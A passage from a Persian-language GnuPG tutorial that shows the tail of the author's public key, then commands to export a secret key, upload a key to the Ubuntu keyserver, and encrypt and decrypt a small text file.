tmQvxR4fNQo9sAeMqAJhIpF7IYcuyCEy+CQ847UkzE4f/OCCPxfV3samV/nnBJJ9
Ouu+68lk6Fpx4A0a3nEwqoAmMWxrbSSUFW97uQENBFYqAJABCAC4CzrUOKskE4hK
GVCjaOJKxhbuUdOrep6n3vof0fscs5Dy7h2oVh2vb12WH9X6pijJVPiUpGR4Mpu0
lO2Bu9Rwt38AQ6mRmL/hfzjEXSvKkdX7osk+1CVnnUaSdM9Ek2hWUH8JcN28z/WT
X9Bw8MCdZF7j1HvX/5ojghzMZyYM4elWJLBr1gON6xXAI6HR7DlnRkaVr8L9SYGm
FyAXZ0LzWYwG1Z1AnTyxff6v/Mn3p1/1E3aBA+LkQqBzHg2nBm4jCaFWfeCdiNBf
CHkY9r/Evo9hUPD+CtBNFwsUm1D4maZ0FFtIQ701QhVmupnub+rKoObC0AFj3abK
MCw9uo8TABEBAAGJASUEGAECAA8FAlYqAJACGwwFCV38DwAACgkQ0i4avIcIAWrz
rAf+K1IIMtBq3WlabfZQrgzFHQ62ugVJO/yI1ITkm4l08XHDf+ShqDg4urNuMDEe
oQD35MvB2BhER1jL6VR3qjLkZyZYJ+EQiSxEDWXooav3KvpWjhcqjQy79GFs8waH
E7ssGmWwaugVS/PJAmGQ+s8YWDNa6aCClmp2dJRiwBTyFdewNBLA2V32xzWCYxhI
YtEp+Kg15XuCDTRatOPWSFGSPe/paytmpGZc0XzU/W9sBpabhxVmcL4H6L07uCef
IOn/S5QXo3P9X/3ckmJ9GUb7rjdq1ivYgX53xI75jlePsmN/2f+3fNffUaZgFTTd
Uls+XCun7OVYSBBfjgRfQbTvoA==
=6j7i
-----END PGP PUBLIC KEY BLOCK-----
```

در صورتی که قصد دارید متن کلید خصوصی را به دست بیاورید، لازم است بعد از export- عبارت secret-key- را نیز اضافه کنی د؛ یعنی:

```
gpg --output mykey.asc --export-secret-key -a 8708016A
```

آپلود کلید به سرورهای کلید (Key Servers)

یکی از روش‌های به اشتراک گذاری کلید برای کاربران این است که از سرورهای کلید استفاده کنیم. یکبار آپلود روی یکی از این سرورها باعث می‌شود که به بقیه‌ی سرورها هم اضافه شود. یکی از این سرورهای کلید که خودم از آن استفاده می‌کنم، سرور ابونتو است و با استفاده از دستور زیر، همان کلید بالا را برای آن سرور ارسال می‌کنم:

```
gpg --send-keys --keyserver keyserver.ubuntu.com $GPGKEY

==>
gpg --send-keys --keyserver keyserver.ubuntu.com 8708016A
```

سپس از طریق کلید متنی، کلید آپلود شده را تایید می‌کنیم. به این آدرس رفته و محتوای کلید متنی خود را به طور کامل به همراه تگ‌های شروع و پایان کپی کنید و حتی می‌توانید کلید خود را از طریق کادر جست و جو پیدا کنید.

رمزگذاری

ابتدا در محیط یونیکس، یک فایل متنی ساده با متن hello ubuntu را ایجاد میکنم. در ادامه قصد دارم این فایل را رمزنگاری کنم:

```
ali@alipc:~$ cat >ali.txt
hello ubuntu
```

سپس همین فایل را رمزنگاری می‌کنم:

```
ali@alipc:~$ gpg --output myali.gpg --encrypt --recipient yeganehaym@gmail.com ali.txt
```

در این دستور ابتدا گفتیم که نام فایل خروجی ما myali.gpg است و می‌خواهیم آن را رمزگذاری کنیم که توسط کلیدی با ایمیل yeganehaym@gmail.com می‌باشد فایل ali.txt را رمزگذاری می‌کنیم.

رمزگشایی

برای رمزگشایی می‌توانید از طریق دستور زیر اقدام کنید:

```
gpg --output output.txt --decrypt myali.gpg

You need a passphrase to unlock the secret key for
user: "ali yeganeh.m (androidbreadcrumb) <yeganehaym@gmail.com>"
2048-bit RSA key, ID 533B7E96, created 2015-10-23 (main key ID 8708016A)
```

در اینجا دستور دادیم محتوای فایل رمزشده‌ی myali.gpg را رمزگشایی کن و محتوای آن را داخل فایلی با نام output.txt قرار بده. بعد از اجرای این دستور از شما عبارت رمزی را که در مرحله‌ی ساخت کلید دوبار از شما پرسید، درخواست می‌کند. در بعضی سیستم‌ها در همان ترمینال می‌پرسد، ولی بعضی سیستم‌ها مثل ابونتو که من از آن استفاده می‌کنم، به صورت گرافیکی یک کادر باز کرده و از شما خواهش می‌کند عبارت رمز را وارد کنید.

عبارت رمز را وارد کنید و حالا فایل output.txt را باز کنید:

```
ali@alipc:~$ cat output.txt
hello ubuntu
```